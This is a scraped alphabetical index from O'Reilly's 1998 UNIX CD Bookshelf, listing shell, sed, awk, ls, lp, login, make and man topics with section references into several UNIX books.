UNIX in a Nutshell, 4. The Bourne Shell and Korn Shell
{ } filename wildcards, adding : UNIX Power Tools, 15.3. Adding { } Operators to Korn (and Bourne) Shells
aliases
UNIX Power Tools, 10.2. Aliases for Common Commands
UNIX Power Tools, 10.4. Aliases in ksh and bash
arithmetic expressions : UNIX in a Nutshell, 4.4. Arithmetic Expressions
array support : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
built-in commands, list of : UNIX in a Nutshell, 4.6. Built-in Commands (Bourne and Korn Shell)
C shell compared to : UNIX Power Tools, 47.1. Why Not?
command history : (see history of command)
command-line arguments in scripts : UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
compared to sh and csh : UNIX in a Nutshell, 3.5. Differing Features
coprocesses : UNIX in a Nutshell, 4.2.6. Coprocesses
emacs mode line editing commands : UNIX Power Tools, 11.13. Shell Command-Line Editing
ENV variable : UNIX Power Tools, 6.3. Predefined Environment Variables
environment variables : UNIX Power Tools, 6.3. Predefined Environment Variables
fc command : UNIX Power Tools, 11.14.2. In ksh and bash: fc
history file : UNIX Power Tools, 11.11.1. bash and ksh
ignoreeof variable : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
invoking shell : UNIX in a Nutshell, 4.8. Invoking the Shell
job control : UNIX in a Nutshell, 4.7. Job Control
logging out of : UNIX Power Tools, 3.2. Running Commands at Bourne/Korn Shell Logout
passing command history to : UNIX Power Tools, 11.12. Pass History to Another Shell
.profile file : UNIX Power Tools, 2.2.3. Korn Shell
prompt setting : UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
reading arguments : UNIX Power Tools, 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
setting restrictions on
UNIX in a Nutshell, Chapter 2, Reference: rksh
UNIX in a Nutshell, 4.9. Restricted Shells
speeding up : UNIX Power Tools, 2.11. Faster ksh and bash Startup with $- Test
string editing in : UNIX Power Tools, 9.7. String Editing in ksh and bash
string editing operators : UNIX Power Tools, 45.12. Parameter Substitution
variables : UNIX in a Nutshell, 4.3. Variables
working directory : UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
kshdb
Learning the Korn Shell, 9. Debugging Shell Programs
Learning the Korn Shell, 9.2. A Korn Shell Debugger
commands : Learning the Korn Shell, 9.2.3.1. Commands
*bc (set break condition) : Learning the Korn Shell, 9.2.3.4. Break conditions
*bp (set breakpoint) : Learning the Korn Shell, 9.2.3.3. Breakpoints
*bp (without arguments; list breakpoints) : Learning the Korn Shell, 9.2.3.3. Breakpoints
*cb (clear breakpoints) : Learning the Korn Shell, 9.2.3.3. Breakpoints
*g (go) : Learning the Korn Shell, 9.2.3.1. Commands
*q (quit) : Learning the Korn Shell, 9.2.3.2. Stepping
*s (step) : Learning the Korn Shell, 9.2.3.2. Stepping
*x (execution tracing) : Learning the Korn Shell, 9.2.3.5. Execution tracing
enhancing : Learning the Korn Shell, 9.2.5. Exercises
limitations : Learning the Korn Shell, 9.2.3.6. Limitations
sample session : Learning the Korn Shell, 9.2.4. Sample kshdb Session
source code
debugging functions : Learning the Korn Shell, 9.2.5. Exercises
driver script : Learning the Korn Shell, 9.2.1.1. The driver script
online availability : Learning the Korn Shell, 9.2. A Korn Shell Debugger
preamble : Learning the Korn Shell, 9.2.2. The Preamble
structure : Learning the Korn Shell, 9.2.1. Structure of the Debugger
.kshrc : Learning the Korn Shell, 3.5.2. The Environment File

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

l command (sed)
sed & awk, 5.6. List
UNIX in a Nutshell, Chapter 10, Reference: l
la function : UNIX Power Tools, 10.9. Shell Functions
labels : sed & awk, 6.4. Advanced Flow Control Commands
LANG shell variable : UNIX in a Nutshell, 4.3.3. Other Shell Variables
language command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: language
last access time
UNIX Power Tools, 21.5. What Good Is a File's Last Access Time?
UNIX Power Tools, 23.20. Deleting Stale Files
last modification
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.27. newer: Print the Name of the Newest File
UNIX Power Tools, 17.5. Searching for Old Files
lastcomm command
UNIX Power Tools, 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
UNIX Power Tools, 49.7. Total a Column with addup
layers
multiple, controlling from one terminal : UNIX in a Nutshell, Chapter 2, Reference: shl
in windowing terminals, resetting : UNIX in a Nutshell, Chapter 2, Reference: jterm
layers command : UNIX in a Nutshell, Chapter 2, Reference: layers
lcd command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
ld command : UNIX in a Nutshell, Chapter 2, Reference: ld
ldd command : UNIX in a Nutshell, Chapter 2, Reference: ldd
leave program : UNIX Power Tools, 48.5. leave: A Maddening Aid to Quitting on Time
left angle bracket : (see <)
left bracket : (see [ ] (brackets))
length()
sed & awk, 9.2. String Functions
sed & awk, 9.2.2. String Length
length command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: length
length, string : sed & awk, 9.2.2. String Length
lensort script
UNIX Power Tools, 36.8. lensort: Sort Lines by Length
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
less command : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
less than sign : (see <)
less utility
UNIX Power Tools, 16.22. Comparing Two Directory Trees with dircmp
UNIX Power Tools, 25.3. Using more to Page Through Files
lesskey program : UNIX Power Tools, 25.4. The "less" Pager: More than "more"
let command
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, A.1. The Bourne Shell
UNIX in a Nutshell, Chapter 4, Reference: let
(see also arithmetic expressions)
lex command
UNIX in a Nutshell, Chapter 2, Reference: lex
(see also yacc command)
lexical analysis programs, generating : UNIX in a Nutshell, Chapter 2, Reference: lex
lf script
UNIX Power Tools, 16.7. ls Shortcuts: ll, lf, lg, etc.
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
lg script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
libraries : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
library of functions : sed & awk, 9.3.2. Maintaining a Function Library
limit command (csh) : UNIX in a Nutshell, Chapter 5, Reference: limit
limit filesize command : UNIX Power Tools, 24.5. Limiting File Sizes
limiting the match extent : sed & awk, 3.2.13. Limiting the Extent
line #: ;; unexpected : UNIX Power Tools, 46.1.4. Missing or Extra esac, ;;, fi, etc.
line addresses
Learning the vi Editor, 5.2.1. Line Addresses
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 4.2. A Global Perspective on Addressing
sed & awk, 5.1. About the Syntax of sed Commands
absolute : Learning the vi Editor, 5.2.2. Defining a Range of Lines
printing with = : sed & awk, 5.9. Print Line Number
redefining current line : Learning the vi Editor, 5.2.5. Redefining the Current Line Position
relative : Learning the vi Editor, 5.2.3. Line Addressing Symbols
search patterns : Learning the vi Editor, 5.2.4. Search Patterns
symbols : Learning the vi Editor, 5.2.3. Line Addressing Symbols
line breaks, nroff/troff requests and : UNIX in a Nutshell, 12.3.3. Requests That Cause a Line Break
line command : UNIX in a Nutshell, Chapter 2, Reference: line
line drawings : UNIX Power Tools, 43.12.1. troff
line-edit mode : UNIX in a Nutshell, 4.5.1. Line-edit Mode
line editing : (see batch editing)
line editors : (see ed editor; ex editor; vi editor)
line function : UNIX Power Tools, 44.13. read: Reading from the Keyboard
line information commands (sed) : UNIX in a Nutshell, 10.4.2. Line Information
line-kill character : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
LINEFEED character : Learning the UNIX Operating System, 1.4. The Unresponsive Terminal
LINENO variable
Learning the Korn Shell, 9.1.1. Set Options
Learning the Korn Shell, 9.1.2.2. ERR
Learning the Korn Shell, 9.2.2. The Preamble
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
LINES variable
Learning the Korn Shell, 3.4.2.1. Editing mode variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
lines
breaking
sed & awk, 11.2.3.3. Line continuation
UNIX in a Nutshell, Chapter 2, Reference: fold
counting in files
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX in a Nutshell, Chapter 2, Reference: wc
deleting
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.4. Delete
matching over multiple : sed & awk, 3.2.7.1. Phrases
matching start/end of
sed & awk, 3.2.7. Positional Metacharacters
sed & awk, 3.2.11. What's the Word? Part II
numbering in files
UNIX Power Tools, 25.21. Numbering Lines
UNIX in a Nutshell, Chapter 2, Reference: nl
nroff/troff requests for : UNIX in a Nutshell, 12.5.9. Line Numbering
resetting : UNIX Power Tools, 46.1.5. Line Numbers Reset Inside Redirected Loops
parsing : (see parsing)
reading as input
sed & awk, 10.1. The getline Function
UNIX in a Nutshell, Chapter 2, Reference: line
(see also standard input)
searching for : UNIX Power Tools, 45.11. The Multipurpose jot Command
spacing : UNIX Power Tools, 25.12. Double Space, Triple Space ...
terminating : sed & awk, B.2.2.1. Line termination
wrapping : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
linespeed switches : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
linking
Learning the Korn Shell, 5.1.3.2. About C Compilers
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 6.1.3.1. More About C Compilers
links
UNIX Power Tools, 18.4. More About Links
UNIX Power Tools, 18.5. Creating and Removing Links
UNIX in a Nutshell, Chapter 2, Reference: ln
copying : UNIX Power Tools, 18.15. Copying Directory Trees with cp -r
to directories
UNIX Power Tools, 18.4.2. Links to a Directory
UNIX Power Tools, 18.7. Linking Directories
disk space and : UNIX Power Tools, 24.4. Save Space with a Link
editors : UNIX in a Nutshell, Chapter 2, Reference: ld
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
to filenames
UNIX Power Tools, 18.4.1. Differences Between Hard and Symbolic Links
UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
UNIX Power Tools, 45.13. Save Disk Space and Programming: Multiple Names for a Program
finding : UNIX Power Tools, 17.22. Finding the Links to a File
hard
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 18.4. More About Links
(see also symbolic links)
invalid : UNIX Power Tools, 18.6. Stale Symbolic Links
to programs
UNIX Power Tools, 44.22. Finding a Program Name; Multiple Program Names
UNIX Power Tools, 45.13. Save Disk Space and Programming: Multiple Names for a Program
relinking : UNIX Power Tools, 18.14. Relinking Multiple Symbolic Links
symbolic : (see symbolic links)
--lint, --lint-old options (gawk) : sed & awk, 11.2.3.1. Command line options
lint command : UNIX in a Nutshell, Chapter 2, Reference: lint
Linux
directory protection : Learning the UNIX Operating System, 3.3.3. More Protection Under Linux
finding files on : Learning the UNIX Operating System, 4.4.4. Finding Files
info command : Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
ls command on : Learning the UNIX Operating System, 3.1.8.1. ls
MTOOLS utilities : Learning the UNIX Operating System, 4.4.6. Files on Other Operating Systems
virtual consoles : Learning the UNIX Operating System, 2.1. Introduction to Windowing
LISP
Learning the Korn Shell, 1.7. Input and Output
Learning the Korn Shell, 5.1.1. Exit Status and Return
list command : (see l command (sed))
list command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: list
list command (ex) : UNIX in a Nutshell, Chapter 9, Reference: list
list.base program : UNIX Power Tools, 48.10. Working with Names and Addresses
listing files : Learning the UNIX Operating System, 3.1.8. Listing Files
in archives : UNIX in a Nutshell, Chapter 2, Reference: ar
to be executed : UNIX in a Nutshell, Chapter 2, Reference: which
for current directory : UNIX in a Nutshell, Chapter 2, Reference: ls
literal percent sign, creating : UNIX Power Tools, 40.14. Including Standard Input Within a cron Entry
Litmaath, Maarten : UNIX Power Tools, 13.16. Store and Show Errors with logerrs
ll script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
lm script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ln command
UNIX Power Tools, 18.5. Creating and Removing Links
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: ln
-s option
UNIX Power Tools, 18.5. Creating and Removing Links
UNIX Power Tools, 18.7. Linking Directories
lndir program
UNIX Power Tools, 18.7. Linking Directories
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
load averages
UNIX Power Tools, 39.7. Checking System Load: uptime
UNIX Power Tools, 39.12.1. The CPU
loading fonts to Postscript files : UNIX in a Nutshell, Chapter 2, Reference: download
local dictionary files : UNIX Power Tools, 29.1. The UNIX spell Command
local modes, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
local variables : sed & awk, 9.3. Writing Your Own Functions
locate program
Learning the UNIX Operating System, 4.4.4. Finding Files
UNIX Power Tools, 17.18. Using "Fast find"
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
lockfiles
UNIX Power Tools, 45.36. Shell Lockfile
(see also file permissions)
log() : sed & awk, 9.1.1. Trigonometric Functions
log command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: log
LOGDIR environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
logerrs script
UNIX Power Tools, 13.16. Store and Show Errors with logerrs
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
logged-in users
displaying list : UNIX in a Nutshell, Chapter 2, Reference: users
report on : UNIX in a Nutshell, Chapter 2, Reference: rwho
logging
disk space and : UNIX Power Tools, 24.2. Save Space with Bit Bucket Log Files and Mailboxes
timestamp with : sed & awk, 11.2.3.11. Time management for programmers
logging in
Learning the UNIX Operating System, 1.1.1. Connecting to the UNIX Computer
UNIX Power Tools, 2.1. Customizing the Shell
UNIX Power Tools, 38.2. fork and exec
to another user's account : UNIX Power Tools, 22.22. The su Command Isn't Just for the Superuser
as another user : UNIX in a Nutshell, Chapter 2, Reference: su
changing login sequence : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
changing to current window : UNIX in a Nutshell, Chapter 2, Reference: relogin
displaying name : UNIX in a Nutshell, Chapter 2, Reference: logname
to groups : UNIX in a Nutshell, Chapter 2, Reference: newgrp
login sessions : (see sessions)
multiple sessions : UNIX Power Tools, 22.22.1. Ending or Suspending
showing login messages once : UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
showing new message lines : UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
logging out : Learning the UNIX Operating System, 1.1.8. Logging Out
logical operators
sed & awk, 7.8. Relational and Boolean Operators
UNIX in a Nutshell, 5.4.1.3. Bitwise and Logical Operators
(see operators, logical)
login command
UNIX in a Nutshell, Chapter 2, Reference: login
UNIX in a Nutshell, Chapter 5, Reference: login
.login file
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 2.2.2. C Shell
UNIX Power Tools, 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
UNIX Power Tools, 2.8. Identifying Login Shells
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX in a Nutshell, 5.2.1. Special Files
if statements in : UNIX Power Tools, 47.3. Conditional Statements with if
once-a-day setup : UNIX Power Tools, 2.5.3. Once-a-Day Setup
setting search path : UNIX Power Tools, 8.7.1. Setting Path in Shell Setup Files
setting terminal type : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
login shells
UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
UNIX Power Tools, 2.2.2. C Shell
UNIX Power Tools, 2.8. Identifying Login Shells
UNIX Power Tools, 51.9. Making a "Login" Shell
identifying : UNIX Power Tools, 2.8. Identifying Login Shells
unapproved : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
loginshell variable : UNIX Power Tools, 2.8. Identifying Login Shells
LOGNAME variable
Learning the Korn Shell, 3.4.2.3. Prompting Variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
logname command : UNIX in a Nutshell, Chapter 2, Reference: logname
logout command
Learning the UNIX Operating System, 1.1.8. Logging Out
UNIX in a Nutshell, Chapter 5, Reference: logout
logout command files : Learning the Korn Shell, 3.2. Aliases
.logout file
UNIX Power Tools, 2.2.2. C Shell
UNIX Power Tools, 3.1. Running Commands When You Log Out
UNIX in a Nutshell, 5.2.1. Special Files
long-line wrapping : UNIX Power Tools, 42.6.3. Set Width, Test Line Wrapping: longlines
longlines file
UNIX Power Tools, 42.6.3. Set Width, Test Line Wrapping: longlines
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
look command
UNIX Power Tools, 27.18. Fast Searches and Spelling Checks with "look"
UNIX Power Tools, 29.3. How Do I Spell That Word?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
lookfor script
UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
loops
UNIX Power Tools, 1.5. Anyone Can Program the Shell
UNIX Power Tools, 44.10. Loops That Test Exit Status
sed & awk, 7.3. Awk's Programming Model
sed & awk, 8.2. Looping
(see also under specific loop names)
alias definition : UNIX Power Tools, 10.6. Avoiding C Shell Alias Loops
arrays and : sed & awk, 8.4. Arrays
basename command used in : UNIX Power Tools, 45.18.2. Use with Loops
in Bourne shells : UNIX Power Tools, 44.10. Loops That Test Exit Status
dirname command used in : UNIX Power Tools, 45.18.2. Use with Loops
exit status of : UNIX Power Tools, 45.19. A while Loop with Several Loop Control Commands
find command used in : UNIX Power Tools, 45.18.2. Use with Loops
for : (see for loops)
foreach : (see foreach loops)
if-then-else : UNIX Power Tools, 10.7. How to Put if-then-else in a C Shell Alias
increment number in : UNIX Power Tools, 45.11. The Multipurpose jot Command
jot command in : UNIX Power Tools, 45.11. The Multipurpose jot Command
main input loop : sed & awk, 7.3. Awk's Programming Model
parameters for : UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
in shell scripts : Learning the vi Editor, 7.4.1. Looping in a Shell Script
split command used in : UNIX Power Tools, 45.18.2. Use with Loops
testing exit status : UNIX Power Tools, 44.10. Loops That Test Exit Status
lorder command : UNIX in a Nutshell, Chapter 2, Reference: lorder
Lower menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
lowercase : (see case)
lp command
Learning the Korn Shell, 1.5.1. Commands, Arguments, and Options
Learning the Korn Shell, 1.6.1.1. The working directory
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 7.1.1. Here-documents
Learning the UNIX Operating System, 4.5.2. lp and lpr
UNIX Power Tools, 43.2.1. System V Printing Commands
UNIX in a Nutshell, Chapter 2, Reference: lp
lp spooler, defined : UNIX Power Tools, 43.1. Introduction to Printing
lpc help command : UNIX Power Tools, 43.3. Printer Control with lpc
lpc restart command : UNIX Power Tools, 43.3. Printer Control with lpc
lpc status command : UNIX Power Tools, 43.2.2. Berkeley Printing Commands
lpq command
Learning the UNIX Operating System, 4.5.2. lp and lpr
Learning the UNIX Operating System, 4.5.4.1. lpstat and lpq
UNIX Power Tools, 43.2.2. Berkeley Printing Commands
UNIX in a Nutshell, Chapter 2, Reference: lpq
shell script running : UNIX Power Tools, 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
lpr command
Learning the UNIX Operating System, 4.5.2. lp and lpr
UNIX Power Tools, 43.2.2. Berkeley Printing Commands
UNIX in a Nutshell, Chapter 2, Reference: lpr
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
examples : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
lpr spooler, defined : UNIX Power Tools, 43.1. Introduction to Printing
lprm command
Learning the UNIX Operating System, 4.5.4.2. cancel and lprm
UNIX Power Tools, 43.2.2. Berkeley Printing Commands
UNIX in a Nutshell, Chapter 2, Reference: lprm
lprof command
UNIX in a Nutshell, Chapter 2, Reference: lprof
(see also gprof command; prof command)
lpstat command
Learning the UNIX Operating System, 4.5.4.1. lpstat and lpq
UNIX Power Tools, 43.2.1. System V Printing Commands
UNIX in a Nutshell, Chapter 2, Reference: lpstat
lptest command : UNIX in a Nutshell, Chapter 2, Reference: lptest
lr command : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ls command
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 8.5. Coroutines
Learning the UNIX Operating System, 1.2. Syntax of UNIX Command Lines
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 2.15. Unclutter Logins: Show Login Messages Just Once
UNIX Power Tools, 16.3. Reordering ls Listings
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 16.9. An Alias to List Recently Changed Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
sed & awk, 7.8.1. Getting Information About Files
UNIX in a Nutshell, Chapter 2, Reference: ls
-a option : UNIX Power Tools, 16.11. Showing Hidden Files with ls -A and -a
-A option : UNIX Power Tools, 16.11. Showing Hidden Files with ls -A and -a
aliases for
UNIX Power Tools, 16.7. ls Shortcuts: ll, lf, lg, etc.
UNIX Power Tools, 16.12. Useful ls Aliases
-b option : UNIX Power Tools, 16.14. Showing Non-Printable Characters in Filenames
-c option : UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
-C option
UNIX Power Tools, 16.3. Reordering ls Listings
UNIX Power Tools, 16.12. Useful ls Aliases
column formats of : Learning the Korn Shell, 4.4. Command Substitution
-ctime option : UNIX Power Tools, 21.6. A File's Inode Change (not "Creation"!) Time
-d option : UNIX Power Tools, 16.8. The ls -d Option
-F option
Learning the Korn Shell, 3.2. Aliases
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 16.12. Useful ls Aliases
UNIX Power Tools, 18.6. Stale Symbolic Links
file searches with : UNIX Power Tools, 9.24. Get File List by Editing Output of ls -l, grep, etc.
filenames and : UNIX Power Tools, 1.16. Wildcards
-i option
UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
UNIX Power Tools, 18.4.1. Differences Between Hard and Symbolic Links
-l option
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 16.29. sls: Super ls with Format You Can Choose
UNIX Power Tools, 22.15. Juggling Permissions
-L option : UNIX Power Tools, 18.6. Stale Symbolic Links
-ld option : UNIX Power Tools, 21.8.1.3. Watching Directories
links and : UNIX Power Tools, 18.4.1. Differences Between Hard and Symbolic Links
-m option : UNIX Power Tools, 16.7. ls Shortcuts: ll, lf, lg, etc.
-q option : UNIX Power Tools, 16.13. Can't Access a File? Look for Spaces in the Name
-r option : UNIX Power Tools, 16.3. Reordering ls Listings
-R option : UNIX Power Tools, 16.4. List All Subdirectories with ls -R
-s option : UNIX Power Tools, 17.14. Searching for Files by Size
-t option : UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
terminfo database and : UNIX Power Tools, 5.10. Finding What Terminal Names You Can Use
-u option
UNIX Power Tools, 16.2. Finding Oldest or Newest Files with ls -t and ls -u
UNIX Power Tools, 16.3. Reordering ls Listings
-x option : UNIX Power Tools, 16.3. Reordering ls Listings
ls_today script
UNIX Power Tools, 16.18. Listing Files You've Created/Edited Today
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
lsdel program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

M- commands (emacs) : UNIX in a Nutshell, 7.3.2. Meta-key Sequences
m1 script (example) : sed & awk, 13.10. m1 - Simple Macro Processor
m4 : UNIX in a Nutshell, Chapter 2, Reference: m4
machine faults, tracing : UNIX in a Nutshell, Chapter 2, Reference: truss
Macintosh text files : UNIX Power Tools, 35.11. Hacking on Characters with tr
macros
emacs commands for : UNIX in a Nutshell, 7.2.14. Macro Commands
Eqn preprocessor : UNIX in a Nutshell, 16.2.1. Eqn Macros
listing names of : UNIX in a Nutshell, Chapter 2, Reference: ctags
for make utility : UNIX in a Nutshell, 19.3. Macros
pic preprocessors : UNIX in a Nutshell, 16.3.1. Pic Macros
processing, nroff/troff requests for : UNIX in a Nutshell, 12.5.10. Macro and String Processing
processor for program files : UNIX in a Nutshell, Chapter 2, Reference: m4
Tbl preprocessor : UNIX in a Nutshell, 16.1.2. Tbl Macros
magic number
UNIX Power Tools, 45.4. Fun with #!
UNIX Power Tools, 50.12. Common UNIX Error Messages
magnetic tapes, naming : UNIX Power Tools, 20.3.2. What Is the Name of the Tape Drive?
mail : (see email; email messages)
mail command
UNIX Power Tools, 1.33. UNIX Networking and Communications
UNIX in a Nutshell, Chapter 2, Reference: mail
MAIL variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.5.1. Environment Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
as array : UNIX Power Tools, 47.5. Using C Shell Arrays
mail.base program : UNIX Power Tools, 48.10. Working with Names and Addresses
mailalias command : UNIX in a Nutshell, Chapter 2, Reference: mailalias
mailavg script (example) : sed & awk, 13.4. mailavg - Check Size of Mailboxes
mailboxes, disk space and : UNIX Power Tools, 24.2. Save Space with Bit Bucket Log Files and Mailboxes
MAILCHECK variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
MAILPATH variable
Learning the Korn Shell, 3.4.2.2. Mail Variables
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 21.8.2. For Bourne Shell Users
UNIX in a Nutshell, 4.3.3. Other Shell Variables
.mailrc : Learning the Korn Shell, 7.1. I/O Redirectors
mailx command : UNIX in a Nutshell, Chapter 2, Reference: mailx
main input loop : sed & awk, 7.3. Awk's Programming Model
mainindex on PowerTools disk : UNIX Power Tools, 50.3. apropos on Systems Without apropos
make utility
Learning the Korn Shell, 7.3.2. eval
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 21.9. Keep File Printouts Up-to-Date Automatically with make
UNIX Power Tools, 28.13. make Isn't Just for Programmers!
UNIX Power Tools, 52.8.2.8. The make Program
UNIX in a Nutshell, Chapter 2, Reference: make
UNIX in a Nutshell, 19. The make Utility
UNIX in a Nutshell, Chapter 20, Reference: make
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
printall option : UNIX Power Tools, 21.9. Keep File Printouts Up-to-Date Automatically with make
"make: must be a separator on rules line 46" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
make_print makefile:(on disc) : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
makefile utility
UNIX Power Tools, 21.9. Keep File Printouts Up-to-Date Automatically with make
UNIX Power Tools, 52.8.2.6. An Easy Build
tracking program dependencies : UNIX Power Tools, 52.8.2.8. The make Program
makefiles : UNIX Power Tools, 28.13. make Isn't Just for Programmers!
overriding : UNIX in a Nutshell, Chapter 2, Reference: make
updating : UNIX in a Nutshell, Chapter 2, Reference: install
makekey command : UNIX in a Nutshell, Chapter 2, Reference: makekey
man command
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 8.3.3.2. BSD
Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
UNIX Power Tools, 50.1. UNIX Online Documentation
UNIX in a Nutshell, Chapter 2, Reference: man
examples : UNIX Power Tools, 50.1. UNIX Online Documentation
-k option : UNIX Power Tools, 50.2. The apropos Command
-man macros
UNIX Power Tools, 50.11. Writing a Simple Man Page with the -man Macros
UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
manindex script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
MANPATH environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, Chapter 2, Reference: man
adding : UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
manual pages
building index for : UNIX Power Tools, 50.3. apropos on Systems Without apropos
